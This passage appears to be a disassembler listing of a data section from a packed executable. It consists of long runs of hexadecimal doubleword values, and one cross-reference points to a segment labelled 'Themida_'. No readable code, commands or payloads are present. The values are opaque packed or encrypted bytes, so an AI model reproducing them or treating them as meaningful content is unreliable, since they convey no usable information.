0EC3BCD1Bh, 8D379409h, 90698E00h dd 1566440Bh, 156EA23Dh, 93691132h, 15668830h, 95692552h dd 15662239h, 156617DBh, 9AECF232h, 9E5C28F5h, 3E4293B7h dd 11E21E34h, 75668832h, 400795B9h, 0EA99DD8Fh, 488938CDh dd 40E3B3C7h, 1A6076AAh, 156664B7h, 1569F832h, 44138832h dd 68DC8166h, 1A3871E6h, 2D8BAC28h, 7CE3030Eh, 75606F2Fh dd 0A03BCCB3h, 9F6905A9h dd 15668839h, 156641DAh, 0DFD2D132h, 74395C62h, 15673062h dd 0D2674432h, 0CCE6426Ah, 0D6E77730h, 2E07BB0Ch, 27FE1DB7h dd 38E32D34h, 0E9661132h, 8CF0DB9h, 91694219h, 15662220h dd 156A903Dh, 128F8832h, 3C664432h, 805297D6h, 449F9DE5h dd 1566898Bh, 4CA94532h, 74B99252h, 8D3B9409h, 90698E00h dd 15664457h, 156636DBh, 0B397F832h, 2A274C7Bh, 4560FC67h dd 9C9DFC7Bh, 0F11ADB8Ah, 157661ECh, 0BA2C4432h, 0EBDB27F9h dd 3DAA6E01h, 98F92E6Dh, 90ED8CDFh, 134D0253h, 156602DBh dd 5FDAC032h, 31D92888h, 26D7A59Bh, 4DB2558Ah, 0DD33073Ah dd 1567FD63h, 0DA672232h, 138E716Bh, 0AE668832h, 5EEC5A9Fh dd 4A3D7233h, 70E32A53h, 1A60BAAAh, 156606B7h, 1575CB32h dd 0FE4A1132h, 21E65CFh, 2C64A5B1h, 0EC149740h, 784FFC66h dd 58E30309h, 1A606F29h, 156630B6h, 156BF832h, 96658832h dd 6DDDD29Fh, 0E6DE3A17h, 82DF850Eh, 4A36DF72h, 1A9F246Ah dd 2E07F085h, 27FE70B7h, 5EE38734h, 0EC664432h, 0A4DBA1C7h dd 15603A39h, 155A0D3Dh, 9E934432h, 3E4687B7h, 94007134h dd 1A5242F8h, 15665CBEh, 1574CA32h, 0DB0D1132h, 7A427D6Eh dd 7AE9E6DFh, 457B575Ch, 2C416514h, 0AF34E969h, 2B3159C1h dd 894D0B3h, 0C2672F65h, 0A8E57068h, 134D448Fh, 2AE22D32h dd 1A661132h, 15668FB8h, 14EC4B32h, 0EC662232h, 8D8B9409h dd 90698E00h, 15664414h, 0FBE742CBh, 0BCE3782h, 9E0750B9h dd 3E7E89B7h, 1560CB34h, 775A1132h, 3D2C32D2h, 0EA99FA64h dd 0E24FDDCDh, 0A8E5ED6Ch, 134DA347h, 40E24B32h, 75662230h dd 15609A3Dh, 9F698832h, 15664432h, 401D9D54h, 80DB9253h dd 1560A31Eh, 1750C03Dh, 99692232h, 15661126h, 156687DBh dd 24F21032h, 3068FA63h, 0DCE76EECh, 112D5DCh, 8DB7C109h dd 90692400h, 1566116Ah, 156687DBh, 0D0736932h, 0F290A663h dd 7F3C3C23h, 2C4D2DC9h, 273FC1B9h, 0FC062419h, 1566113Ch dd 0D3A02864h, 63A8A12Eh, 0CE84D219h, 9D69BB52h, 15668834h dd 1566CF3Dh, 40072232h, 1566108Fh, 48898932h, 15664BDBh dd 46B7FA32h, 0C6E46437h, 4077B7AFh, 83425248h, 8D87A709h dd 90691700h, 15668850h, 156650DBh, 0F8310832h, 600D53A8h dd 347A2A3Ah, 11989080h, 80C6E99h, 9A69710Dh, 15668830h dd 7493BFB9h, 3C1BA7B9h, 78F1719h, 0C668832h, 38ADB3E4h dd 25F062CEh, 8D61F9D8h, 5145176Eh, 14DC1663h, 14662232h dd 68F4BE5h, 0B0668832h, 4B3F2E42h, 0D0C90607h, 0C5135251h dd 0FF543543h, 905D7160h, 1354BAE7h, 1546943Dh, 0E9938832h dd 135FC1B9h, 95062419h, 47079AF2h, 0EA997788h, 4FB16DCDh dd 156627DBh, 0DDA69D32h, 905D0D43h, 1354DCD7h, 1579A73Dh dd 9E9F1132h, 3E7D39B7h, 0AF34BC34h, 15662233h, 1A3CC633h dd 156680B0h, 17E14B32h, 75662232h, 0FCE32A53h, 1A60BAAAh dd 15667CB7h, 14EB2D32h, 0ED661132h, 39CF0DB9h, 9A694219h dd 15662223h, 15661DDBh, 3E45DC32h, 7416A69Dh, 0DFFA7E15h dd 29E1461Ah, 29E1CF16h, 0FC9F1B16h, 15662237h, 518BE08Ch dd 0CCE3B3D9h, 1A6076AAh, 156615B7h, 4EC1E32h, 0FC668832h dd 1566443Eh, 0D37581F4h, 0DE3A95B5h, 313D3522h, 327C1B9h dd 0E0062419h, 0EADD4253h, 3C9977CDh, 1D8F1FEDh, 28662232h dd 85EF8h, 0E0D31C0Ah, 8DBBC109h, 90692400h, 15661152h dd 157761CEh, 0C3F74432h, 0C5DDCC8Dh, 7A7A6135h, 9EEEF307h dd 9E6E5D45h, 3E602FB7h, 156EF834h, 64C8832h, 0F08CB30Dh dd 0E9060CFEh, 156617DBh, 0AD563C32h, 745F5569h, 3162DD65h dd 94422DB9h, 15668CF6h, 0E74B32h, 0FC662232h, 15661122h dd 7D39A70h, 20C0AECh, 314F50B7h, 3C657D1h, 39F335B1h dd 1A664219h, 156F85B6h, 1568F832h, 13C88832h, 0DC3302CCh dd 0D4BB3048h, 13356D15h, 8D0F0D09h, 90694200h, 15662258h dd 17E21E52h, 43668832h, 0C5E72269h, 0FC072F9Bh, 1566113Fh dd 622B6946h, 72151BA9h, 2455DA25h, 0ACE39A84h, 7560A318h dd 1560C63Dh, 0F3E72232h, 77D6D2F6h, 0AB30E9CAh, 15664433h dd 1A38D533h, 15661CB0h, 156E6132h, 0EE734432h, 8895056Ch dd 0FC063C2Dh, 1566883Dh, 0E594A94Dh, 8EBDB931h, 51B77241h dd 0A717EA6Dh, 905D25BCh, 1354BACFh, 1535943Dh, 0FD068832h dd 15664435h, 0A9E245B8h, 7390E4D4h, 463F57B9h, 156641DBh dd 0A5117E32h, 743F9D85h, 15670C3Dh, 9E934432h, 3E7843B7h dd 14E61E34h, 0E0668832h, 1567FD63h, 0DA672232h, 1575F86Bh dd 5C718832h, 13521469h, 0CD5429A6h, 6F66D90Bh, 5077C721h dd 78E37F91h, 1A6010AAh, 15667BB7h, 0C6ECE832h, 156641DAh dd 443EA132h, 1B8E8E93h, 8668832h, 4AE40D8Eh, 4C87EA62h dd 0D059A0E9h, 743ED6C1h, 4F3C1B9h, 1A8F2419h, 4A661132h dd 7B49960Ah, 13737007h, 0AD657DD9h, 1E8F6886h, 0AA668832h dd 945C4B4Ch, 0B9EC7B4Ch, 0AB30A724h, 15668833h, 7538B333h dd 74B8953Dh, 156F9A3Dh, 73068832h, 0B96D86B3h, 2E074352h dd 27FE60B7h, 3AE38734h, 1A664432h, 156633BBh, 1EE51E32h dd 0FC668832h, 15664434h, 0DB8A135Bh, 90ED74ADh, 134DA92Fh dd 0FBDC16C7h, 5F7A4433h, 0EB74E3B3h, 0C24F6BABh, 905DBD68h dd 1354BA47h, 1536943Dh, 138F8832h, 0F9664432h, 0A0758A7Ch dd 90EDE9BBh, 134DA147h, 1544CB3Dh, 0FC062232h, 1566113Dh dd 0C365B520h, 814A759Bh, 426DB59Bh, 0FD041AD6h, 15668834h dd 0C0F7598Eh, 74393F39h, 6CADAF64h, 0FBE78220h, 2887245Dh dd 0F3C5D4B3h, 0E24F22FCh, 905D706Ch, 1354DC4Bh, 1536A73Dh dd 188F1132h, 0D5668832h, 0F2690586h, 0E1E0E452h, 12803F24h dd 1ED735B1h, 1A664219h, 156613B7h, 90EDE432h, 134DBBBBh dd 1A9E24CAh, 156624BFh, 7BA59032h, 7434E26Ch, 3162BB65h dd 94421EB9h, 156615F6h, 128F7132h, 2C664432h, 7EF12BA0h dd 905DE51Ah, 1354104Fh, 157BC13Dh, 9E9F2232h, 3E4B20B7h dd 15606134h, 19174432h, 86972E93h, 3162EE65h, 9642B4B9h dd 2E9F40F6h, 27FEA3B7h, 59E31E34h, 1A668832h, 156645BEh dd 0A8E5DE32h, 134D1A83h, 2DE38732h, 0FC664432h, 15662238h dd 0DED90866h, 532FE047h, 90EDEB8Ch, 134D3C9Bh, 156619DBh dd 7D3BB232h, 8E9EEB53h, 0B0DF738Ch, 9424C021h, 0C4752CDBh dd 4CA94570h, 1567AE3Dh, 2E9E1132h, 27FE0DB7h, 75E34B34h dd 0E0662232h, 0D3D11E52h, 9E0778B8h, 3E6EC5B7h, 0AD36DB34h dd 15661133h, 0FC3E4F33h, 15664420h, 5C9ECF4Fh, 683F7A84h dd 26249AC3h, 0FF886831h, 9A6902B4h, 15661119h, 156B6052h dd 10174432h, 0ED59CCC9h, 11D596B9h, 4EAEEFFCh, 156655DBh dd 894E4132h, 0AB730DE4h, 4545C3CEh, 0BC19B23Eh, 2E070E2Ah dd 27FE98B7h, 57E38734h, 1A664432h, 156635B4h, 1574F832h dd 0ECA38832h, 0A4E4F737h, 4652E992h, 0F5BF038Ch, 0A1A12F79h dd 15EBC1B9h, 0A3062419h, 0DDED778Ch, 14DFD953h, 14664432h dd 1F8F7BFDh, 82661132h, 7F485AC5h, 0E8ED1A45h, 84E3197Fh dd 1A6023AAh, 1566B1B7h, 0E2E62432h, 969F43B2h, 3E6DA08Fh dd 90698834h, 15664414h, 68E3A9CEh, 0FC603A38h, 15668835h dd 19633CA9h, 457C8C27h, 1566108Ah, 4DA18932h, 9C69BD52h dd 15662233h, 905D70C7h dd 135410BFh, 1536C13Dh, 969A2232h, 3E6DA08Fh, 90698834h dd 15664470h, 156633DBh, 7C13C332h, 7C80A00Fh, 112FA23Ah dd 56FFBC4Eh, 90EDEBD9h, 134D884Fh, 156643DBh, 93C76432h dd 40E742DFh, 25923260h, 942472B6h, 7915AAF0h, 1384D052h dd 0A277AB3h, 0C267F81Bh dword_5BA000 dd 905DDB68h, 135489A7h, 15570D3Dh, 9D694432h, 15662233h ; DATA XREF: Themida_:0053D100o dd 70E39ACAh, 0FC60A306h, 1566443Ch, 0CD414FAFh, 298004A6h dd 5BB4DF2Bh, 0AC379684h, 0EA99DDCDh, 0E03FDE1Bh, 1567093Dh dd 2E934432h, 27FEBBB7h, 6CE31E34h, 0FC668832h, 15664439h dd 0D6C47B54h, 0ABAA4429h, 9E6ACAE7h, 3E4631B7h, 7EC2D34h dd 0FC661132h, 1566883Fh, 631027D0h, 8BD77AD1h, 0B41E6686h dd 128FE832h, 91664432h, 3BAAD2Bh, 0D7E74194h, 20C9F76Fh dd 73DF1553h, 94065E26h, 697276C3h, 4CA98952h, 0C5D92252h dd 156BCA5Eh, 0F6DE1132h, 0C664CBC8h, 45DD2A2Fh, 0FC04E6E6h dd 15661138h, 0A8A68FD2h, 4630CEB9h, 743C6572h, 8DFB9409h dd 90698E00h, 15664454h, 157FAC3Dh, 18F1132h, 84668832h dd 0EBF385h, 77BEA797h, 57773316h, 6DAFBBC2h, 9E4DC381h dd 3E6067B7h, 9ED1E34h, 1A668832h, 156652B2h, 1577CB32h dd 0A721132h, 0B7C8E528h, 89A57960h, 2E362A51h, 0FCC6E30Fh dd 15668822h, 29CDD054h, 0B61E7B5Eh, 35F69EAFh, 0E5D3801Ch dd 1567FD63h, 0DA672232h, 905DE46Bh, 13541093h, 1551C13Dh dd 0FC9F2232h, 15661122h, 565C4934h, 5CDF4CF0h, 2D77DA57h dd 29A81A62h, 39970DB9h, 439E4219h, 0EA99DD8Ch, 4B9138CDh dd 9169E8CBh, 15664431h, 73A49D3Dh, 0B28BD2B3h, 0B0E3B353h dd 1A6076AAh, 156605B7h, 90EDE832h, 134DBDF7h, 0EADB11CBh dd 3C99DDCDh, 48F4CDDh, 2B668832h, 0FAEDC424h, 0A6825DE9h dd 1549C181h, 2B02EEA9h, 8DCFC109h, 90692400h, 1566110Ch dd 156A043Dh, 91694432h, 15662234h, 15669A3Dh, 90ED8832h dd 134D65C3h, 156FAB3Dh, 73061132h, 1A9DF28Ah, 4707938Dh dd 8E1C5488h, 41849016h, 9431F762h, 0F1C9EFC0h, 4FB10BC9h dd 905DEDCEh, 1354109Fh, 1548C13Dh, 1C8F2232h, 0BB661132h dd 0ADE3CD79h, 922DC4E4h, 3453A7B9h, 95061719h, 44314AFFh dd 0EC071F69h, 15679A62h, 0D2671132h, 14E0876Ah, 0EC664432h dd 8DD7A709h, 90691700h, 15668806h, 34E3CFC7h, 0E960091Fh dd 2445A863h, 94279FDDh, 116DCFF3h, 8B87A317h, 94732B2Bh dd 277E07C3h, 4CA94526h, 156629DBh, 0E228C32h, 0F6568D16h dd 8FC92C0h, 13CBA709h, 90691719h, 15668813h, 14E3CFCEh dd 7560093Dh, 4A37E952h, 13E18753h, 94664432h, 4E1670D3h dd 96317071h, 4A99AC1Eh, 0A0E37FCEh, 1A6010AAh, 156653B7h dd 0C2D4E832h, 20E3CF53h, 0FC60093Fh, 1566113Bh, 0AB6794B0h dd 0CAFF0602h, 156DCB8Dh, 0B7D11132h, 1E179EB3h, 4DDDF2ABh dd 118AA32Bh, 9C661132h, 1199AC0Eh, 9F691B16h, 15662235h dd 15679B3Dh, 2E938832h, 27FEB5B7h, 71E32D34h, 1A661132h dd 156690BBh, 0FC9E2432h, 15662222h, 0A5894B52h, 0A8B184EDh dd 6E56C9BAh, 0C305A057h, 0ECDB9253h, 1560BAAAh, 1542C13Dh dd 1D8F2232h, 4F661132h, 6C3C1A22h, 96CB6BC1h, 3E6C0F8Fh dd 91691134h, 1566882Dh, 940024CEh, 9FEC1FC0h, 90ED70FAh dd 134D945Fh, 0CFD14B52h, 24891353h, 508920CFh, 2E9F67B5h dd 27FEB1B7h, 67E32D34h, 75661132h, 156686DBh, 0C953C232h dd 656F746h, 5B2CC9EFh, 1A7B946Ch, 156642B8h, 15EB2D32h dd 74661132h, 8D9F35B1h, 1A664200h, 15663FB7h, 0ED9A7132h dd 38DB0B53h, 15606F38h, 1555A63Dh, 128F1132h, 9A668832h dd 0A4E678ADh, 90ED3DE4h, 134D3AF3h, 15669ADBh, 450C2532h dd 7A23379Fh, 0E34E7C76h, 0E253CB91h, 452CBDD2h, 0EA99DD8Ah dd 4DA138CDh, 0ACE3B3CAh, 1A6076AAh, 15661BB7h, 90EDED32h dd 134D8EF3h, 0DCE72452h, 2657D830h, 0B82FAA53h, 0EC078D06h dd 1567F967h, 0FA672232h, 1572F86Fh, 70A8832h, 0CCDB6A3Dh dd 10176A8Bh, 0ED59FFC9h, 11D50FB9h, 905D23FCh, 1354BA8Fh dd 1543943Dh, 1A068832h, 0A269BB8Dh, 90ED43FAh, 134D235Fh dd 0EAD8DECEh, 3C99BBCDh, 73067CC5h, 0EF47FEB3h, 80C566B3h dd 2E0703DAh, 27FEE3B7h, 22E31E34h, 1A668832h, 156645B1h dd 9469DE32h, 1566113Ah, 0D6EDEE52h, 743881B2h, 3137A7B9h dd 91691719h, 1566883Eh, 1560CF3Dh, 91692232h, 15661132h dd 0EA993664h, 0E24FBBCDh, 905DD76Ch, 135489F7h, 15340D3Dh dd 0E99A4432h, 2797A7B9h, 108F1719h, 61668832h, 0EFD07BBh dd 0EA999F67h, 0FA4FEECDh, 18FE86Fh, 53664432h, 7FD74E06h dd 5B4F5D32h, 0B07886B1h, 0C763DA62h, 74560476h, 86D97752h dd 15776107h, 1FBD4432h, 0BD65EDC5h, 5618BABCh, 0AFD9CAD4h dd 748B33BDh, 8DAFA709h, 90691700h, 15668816h, 60E3CFC7h dd 1A600901h, 156610B9h, 0AF347032h, 0EA99BBCDh, 0FC3CF51Bh dd 15661135h, 6172FB8Ch, 0ECEFA0BFh, 8DABA709h, 90691700h dd 15668862h, 15664EDBh, 0C78532h, 31DC4353h, 9E6CA748h dd 3E4CFDB7h, 24DD4234h, 0FD38BFC5h, 15668826h, 5EFF528Bh dd 43D5BB5Ch, 0A7FAF538h, 0A11EFC33h, 7083198Bh, 4E46DD8Ch dd 45074F54h, 8C40738Ah, 1E4B0C73h, 202BC23Ch, 1920F622h dd 0E03E4F1Bh, 9169BB39h, 15662203h, 0CAED7752h, 15660E3Dh dd 0FC074432h, 0EA99CFE5h, 15661BDBh, 92424532h, 72CC9270h dd 1AD00B56h, 15661DB9h, 13E38732h, 1A664432h, 156622BEh dd 4E32A32h, 1A60A315h, 15666DB7h, 94004232h, 478024D2h dd 9AD956B3h, 743C5148h, 2985A7BFh, 9F691700h, 1566883Ah dd 1564C83Dh, 74062232h, 0EA8B93DBh, 905D70CDh, 134D51E7h dd 1539A73Dh, 969A1132h, 27FE918Fh, 90694534h, 15662263h dd 15661DDBh, 1D536232h, 4D6B47D0h, 9E1FA019h, 72E39CC4h dd 1A66D139h, 15664EBBh, 1563CB32h, 99A71132h, 0FCD79991h dd 0EA99A909h, 1579A83Dh, 9E691132h, 1566882Bh, 156650DBh dd 5BC12E32h, 0D9D20CC3h, 91AD587Dh, 0AC4E92E2h, 0E452531Bh dd 3CE32A39h, 1A60BAAAh, 156668B6h, 1577CB32h, 22651132h dd 0F31A24AAh, 89C7F807h, 0DFF2D52Bh, 2E683182h, 27FEA5B7h dd 34E34B34h, 75662232h, 7394AE3Dh, 0BF5D6AB3h, 0F9BFAD53h dd 9C69DDCDh, 1566113Eh, 1560043Dh, 95694432h, 15662232h dd 1566AA61h, 0CBEF8832h, 964258B9h, 969326F6h, 906910CCh dd 156688C3h, 15664CDBh, 7AEBE332h, 0DCA41BCEh, 8E3B31Bh dd 1A6076AAh, 156638B7h, 14EA1E32h, 0E0668832h, 92A2C1BFh dd 9369226Ah, 15661133h, 0F91B61CBh, 2E9ABBCDh, 27FE03B7h dd 42E31E34h, 0EC668832h, 156656DBh, 55E45232h, 658080EEh dd 0A9A60817h, 0BB768230h, 98E2A6DDh, 4DEE2BB7h, 1EE08732h dd 75664432h, 1566A03Dh, 0AA691132h, 298FE9CCh, 7599BBDEh dd 156629DAh, 0E2403432h, 0AA436129h, 0E26ED4D5h, 7AB2E8B3h dd 0FC3E00F1h, 15668837h, 0C06E8A6Dh, 905D43DEh, 13548917h dd 15290D3Dh, 1C8F4432h, 0D662232h, 9E7B4F83h, 529E8318h dd 941AF252h, 2303DAF4h, 90EB7039h, 153E004Dh, 1577AD52h dd 81422232h, 7EB501B3h, 0F47657D6h, 4FC275A3h, 1A47E969h dd 0FC07C78Dh, 0EA9963FDh, 156DC53Dh, 138F2232h, 0E7661132h dd 0F92F169Eh, 0D3EF1274h, 21EDD2BBh, 11A29216h, 17D9DFCEh dd 9C664432h, 315AA9CCh, 1562D5B3h, 1E9F8832h, 39E34BC4h dd 0E0662232h, 156D9B3Dh, 0AE068832h, 29EAA50Bh, 5D199C54h dd 0FE11F853h, 730677CDh, 6299AB3h, 74A5953Dh, 0AA697152h dd 730771CCh, 45078BB9h dd 384216B3h, 9E0E882Ah, 0D1E7AC06h, 15664436h, 0D4BD4B3h dd 926979ABh, 15668833h, 30D3CDCEh, 0ED600902h, 257FA4BBh dd 95938E19h, 9069AD0Ch, 15662287h, 9F1EAA52h, 0FEE6977Ah dd 9A6925FBh, 15662233h, 1410EECAh, 9442B4B9h, 156640F6h dd 94004232h, 95CBBFEDh, 94072FDBh, 0D1E59DDh, 8189A37Fh dd 142B9A1Ah, 81A109C5h, 942BCF1Ah, 0D1E3FF5h, 0F9E7E87Fh dd 15668836h, 4E4270BBh, 1576A53Dh, 73061132h, 108E59B9h dd 40664432h, 0E5E65741h, 0AC37706Bh, 0B59A2E3h, 5D08B5B3h dd 0D4E7541Ch, 8288CC73h, 19ED4333h, 11A2C716h, 30DB19CAh dd 1A603A02h, 15669DB0h, 1561AD32h, 0F932232h, 8769D7F9h dd 1A9DB3BDh, 15665CB4h, 9F8FDA32h, 1A99EED8h, 156684BBh dd 13EE4B32h, 1A662232h, 156611B9h, 30DB0332h, 75606F27h dd 9E69D9B9h, 15661134h, 1566043Dh, 0D2074432h, 3E48C7B7h dd 15661134h, 15756132h, 0EE7B4432h, 0E87735B4h, 0B1595BB9h dd 1AB0A92Ah, 0C4BE9E10h, 0FC06DE61h, 1566113Bh, 0E38A9191h dd 1F2E882Dh, 0CD3AB94h, 1A603A02h, 15669CBCh, 1569AD32h dd 0F0332232h, 0B1B2E1DFh, 0F7DD58EDh, 0E47DDB36h, 6EFBAF72h dd 0EC60222Ah, 15606152h, 5C184432h, 2957BB3Eh, 0EA07E2B9h dd 9E00E8E1h, 0D56D25E5h, 157DA63Dh, 97691132h, 15668833h dd 15F5ADCBh, 1F8F2232h, 0FE661132h, 0AB24D7D6h, 98125041h dd 43FBAFD6h, 0FC60219Fh, 15668826h, 5FD2376Ch, 0F2F880B0h dd 0F75F833Bh, 0E05D4038h, 0FC32C11Bh, 9669F1CDh, 0EA99EE4Bh dd 156698DBh, 98297B32h, 8B54EBAFh, 0DDBCA345h, 81E8B359h dd 0CD3CF01h, 0E9600902h, 3B83A4BBh, 0E0938E19h, 0A01DD9BFh dd 9E692403h, 15661137h, 14D37152h, 1AB5BB53h, 156602B9h dd 68E7132h, 0A4668832h, 48987B76h, 64EB7976h, 18FDACE2h dd 97194132h, 0AB3F7BB7h, 2C5F456Eh, 30E39A53h, 1A60A302h dd 156645B0h, 90EFDB32h, 134D212Bh, 15610A3Dh, 9A694432h dd 15662233h, 58F70CEh, 9C668832h, 0F80CF8DAh, 715BAFDDh dd 3EC460BDh, 75F4D65Eh, 156649DBh, 0E58D6332h, 11A57410h dd 0B3A7F26Ch, 9507266Bh, 9069CA0Ch, 156611FFh, 15E38752h dd 73664432h, 74428289h, 3097ACB1h, 1A668E19h, 1566F0B6h dd 0F9E7D732h, 15661136h, 0A44284BBh, 3DB3F4DEh, 1C8F7BFAh dd 27661132h, 343825C9h, 0EAAE4EEh, 94694298h, 15661133h dd 10E987CEh, 73664432h, 2B2BEDB3h, 0E4EF4053h, 314A0963h dd 70470630h, 5764276Ah, 0E93F7413h, 1562013Dh, 9F064432h dd 0F6343EEh, 3C462B30h, 2BD9DFCAh, 946F8822h, 0BE3611F5h dd 0D4B9E643h, 0D2E78AD5h, 1B71C7ECh, 1A39DA1Bh, 156610B4h dd 0AC377432h, 15664436h, 7B0F461Fh, 10AE3843h, 6408E156h dd 0CDDD246Bh, 9F200834h, 1ACD70CBh, 156684BDh, 7FDE2432h dd 0AD537BF1h, 14383044h, 17226153h, 1A064432h, 7493E38Dh dd 0E4FB9CCBh, 0E960BACDh, 75B5BBC7h, 0BB611E8Bh, 0EEBC9030h dd 7416C412h, 0D8FBC9CEh, 0FC601121h, 1566113Ch, 0DED842D0h dd 0F080E848h, 673D2102h, 0C699C31Dh, 15720B3Dh, 0E0064432h dd 15662EDBh, 4F8DF232h, 0FCEF224Ah, 9C953799h, 75064372h dd 15C0DE8Bh, 15E9875Ch, 74664432h, 1563A33Dh, 94001132h dd 74D951D4h, 90698439h, 15662227h, 155AF8C7h, 1F8F8832h dd 0C4664432h, 6317D914h, 64567236h, 0CE30B2Fh, 10606F02h dd 0C2D92D52h, 7BDC7760h, 0FC07D6ACh, 0EA99BABDh, 156633DBh dd 0B78ECE32h, 62ACBD0Eh, 21E25B0Ch, 0CEE181A8h, 88EBD3E5h dd 13559DDFh, 156648DBh, 0BEC13D32h, 58F7F4F3h, 0C017F015h dd 0FCB5BBD9h, 15662239h, 1EB52127h, 70AE0C31h, 1E9B9403h dd 0BE32DF2h, 0FC661132h, 15668821h, 0A369EE7Ch, 0F9CC0F53h dd 0BD9640ABh, 0B7A384E7h, 0FC9F8505h, 15662276h, 11DE41CBh dd 14668832h, 3162CFF0h, 7562E6B1h, 0A1A9AE3Dh, 368FE9A6h dd 75664433h, 1562A43Dh, 0AB001132h, 7507FE4Dh, 7C74FD54h dd 156630DBh, 12B3F432h, 0FE89530Dh, 1902D8C4h, 89FDC418h dd 74747BE9h, 0B83015BFh, 9D694202h, 15662233h, 1AB5EECAh dd 1566BBB1h, 0A0EDBC32h, 134D122Bh, 1576F8CEh, 69338832h dd 3B2BAACBh, 0C0288121h, 38BE9760h, 0BC8FD5A9h, 0FC66441Eh dd 1566223Eh, 0CC427E97h, 0D44B0600h, 5FC7E625h, 257FAFB9h dd 198F1719h, 0F668832h, 0E82F6547h, 2DA25881h, 1A813E3Fh dd 15668DBDh, 0C9E62432h, 0A0EF43F9h, 134D212Bh, 15668FDBh dd 6111C432h, 5394D174h, 1FCFF8B3h, 0E44FC7E9h, 5513FE60h dd 0FFE73774h, 0D00D24FEh, 753C5933h, 733CB161h, 9407E0B9h dd 156610DBh, 0FCB77F32h, 15664421h, 25813DE5h, 0BB57AAA7h dd 988BF80Ch, 0E13A3B71h, 9460C656h, 35260EF4h, 6688093Bh dd 3C0C975Eh, 66A0A3FCh, 940CC25Eh, 352697DCh, 0B195B13Bh dd 156AA83Dh, 73061132h, 94D96D8Dh, 87193EF3h, 0ED8F433Bh dd 1A99EECEh, 15668DB0h, 0C2ED2432h, 88EB43CEh, 1357A6F0h dd 156685DBh, 2DA09E32h, 928C2B9Dh, 2415C04Ah, 0C69902C4h dd 1573CE3Dh, 58F2232h, 47661132h, 0FA34BC8Eh, 57371FCAh dd 0F6F38A82h, 963554B3h, 29EF8CDEh, 3152C516h, 6F233437h dd 363246Ah, 759AF277h, 0C78D87B3h, 0DEE661C8h, 904D709Eh dd 134D9D17h, 0E6ED2252h, 1564A53Dh, 30D11132h, 20E30153h dd 0E0606F12h, 43A7B9h, 0FC931719h, 1566883Dh, 20BDD965h dd 0A5F2572Dh, 91522F38h, 7D0DB619h, 15660D9Ch, 0FC421EBBh dd 15661134h, 485C8BF3h, 9969255Ah, 1566223Bh, 0ADC7752h dd 0CFD187C3h, 2B052C53h, 11EF2232h, 12E41E16h, 1A668832h dd 156645B1h, 0FD06DB32h, 1566113Ah, 12F23AD3h, 0B19398B6h dd 753F7B64h, 118DF7B3h, 9B69B1B3h, 15664432h, 98EB4353h dd 1357AB52h, 15700C3Dh, 48F4432h, 0D3662232h, 2D5CE538h dd 2C2E7901h, 85C2F36Ah, 8DE5621Dh, 7506C0CDh, 1AB83F3Dh dd 156644B1h, 0AD004332h, 0FC07D5E5h, 15668838h, 69DBCBDh dd 203BEBCCh, 90EDADD3h, 134D868Fh, 156650DBh, 34421532h dd 10DDA818h, 91BCCE1Fh, 67B624B3h, 0F45EDAB4h, 749791Bh dd 11EF8832h, 156DAD16h, 0E3922232h, 25B6DFA5h, 0ECA8B6F6h dd 0F6EF17CAh, 1562E1B3h, 0FEE51132h, 317A0F36h, 315ACD6Eh dd 1E52DC7h, 0FC661132h, 1566883Dh, 0BECAF1FEh, 0A449C566h dd 98FA4419h, 9E1E8DAEh, 3E7361B7h, 156CCB34h, 6D621132h dd 638E7B96h, 192086Fh, 154D3D5Ah, 31629832h, 156699DBh dd 0CFCE4B32h, 0D14B0164h, 705137D7h, 0AD3DF9F4h, 98EBADEEh dd 135799F5h, 0EAA9152h, 156680DBh, 0B3105732h, 88A8F802h dd 0C499703Eh, 1561043Dh, 9F694432h, 15662233h, 1ED41CAh dd 11A20B16h, 157FCC3Dh, 18F2232h, 0E1661132h, 50A0793Bh dd 0C95FC0E0h, 0A1F2CB2Ah, 0ED22CD17h, 75537964h, 5C99318Dh dd 1574CB02h, 0ECA31132h, 0A4E43B37h, 46528F92h, 0F5BF308Ch dd 0A1A1B679h, 39E7D853h, 3F05FA16h, 0AF347B15h, 70300222h dd 32244AB3h, 94247EC3h, 783FCFC0h, 4FB710B5h, 15668DDBh dd 415C2C32h, 984D7C66h, 134D1F8Fh, 15668EDBh, 80A62B32h dd 751D29F9h, 8AB28Bh, 0DED8771h, 0FC664432h, 15662221h dd 148771CAh, 0C96AFEBBh, 0AAD6CB8Fh, 6F6D1EEAh, 74B458DEh dd 386735B1h, 1A664219h dd 1566B0B6h, 156BF832h, 0B18F8832h, 767EC2A0h, 0C92A0756h dd 9E9EB9CFh, 3E48B1B7h, 1A062434h, 156622BAh, 0F4E77032h dd 48DFE410h, 14E36F53h, 0E060091Fh, 9369D009h, 15668869h dd 4E3CFCEh, 0FC600935h, 1566113Ah, 400EC945h, 82078409h dd 3867A731h, 9E691719h, 15668835h, 0DEBBC452h, 9C074352h dd 3E61DCB7h, 0F5E7E834h, 41B054Bh, 1C5F9854h, 1568F853h dd 598E8832h, 1F790023h, 96CBFC51h, 9A5FF885h, 156760DBh dd 0E906BC32h, 73C5C5B3h, 7D0742EBh, 1566A714h, 0FC4248BBh dd 15662220h, 0B705BF0Eh, 377602C7h, 45D93CF7h, 82CD0FDAh dd 7C0E811Fh, 9C668819h, 0D8EF601Eh, 0E03BCABBh, 0D357E103h dd 83287803h, 156FC43Dh, 9E062232h, 54EFAAFDh, 4707E05Ah dd 1A220F88h, 0A1A4A33Ch, 1C97E1F9h, 138FD2E2h, 0EE664432h dd 102905E8h, 0EADB443Bh, 3C9977CDh, 1A0619DAh, 156623BEh dd 9E00E432h, 90EFE9E2h, 134D6A0Bh, 1576CB52h, 0A0231132h dd 8A79B799h, 0BBA465BEh, 3FB4D93Bh, 9E00F4FEh, 9067E9C3h dd 134D62CBh, 1568A33Dh, 1C8F1132h, 7B668832h, 0E16C82BEh dd 0E4551A08h, 386794F5h, 15668E19h, 0FD064432h, 15662234h dd 5880D52Ah, 1D8E0804h, 0A1664432h, 689ADA08h, 4CC38944h dd 1EED876Bh, 0FC664432h, 15662234h, 5769E76Eh, 7F07C73Ch dd 150EB172h, 75662222h, 156619DBh, 164EF832h, 0E5430A1h dd 72929B28h, 7507178Eh, 75B0373Dh, 0A2691E65h, 470743F0h dd 0D7E7F3BBh, 15668836h, 9262AEB1h, 9C3A0626h, 1A06353Eh dd 15668EB5h, 15EB4B32h, 74662232h, 92691158h, 15668831h dd 7507BC52h, 1F009954h, 1576F852h, 0A6FD8832h, 32F0656Ah dd 0DE899989h, 0CB96E6F7h, 9400AD6Eh, 749827FBh, 40F3DD53h dd 0FC603A33h, 15668834h, 0EAAE4EEh, 1A060C5Eh, 0E5EDCA85h dd 0F37753h, 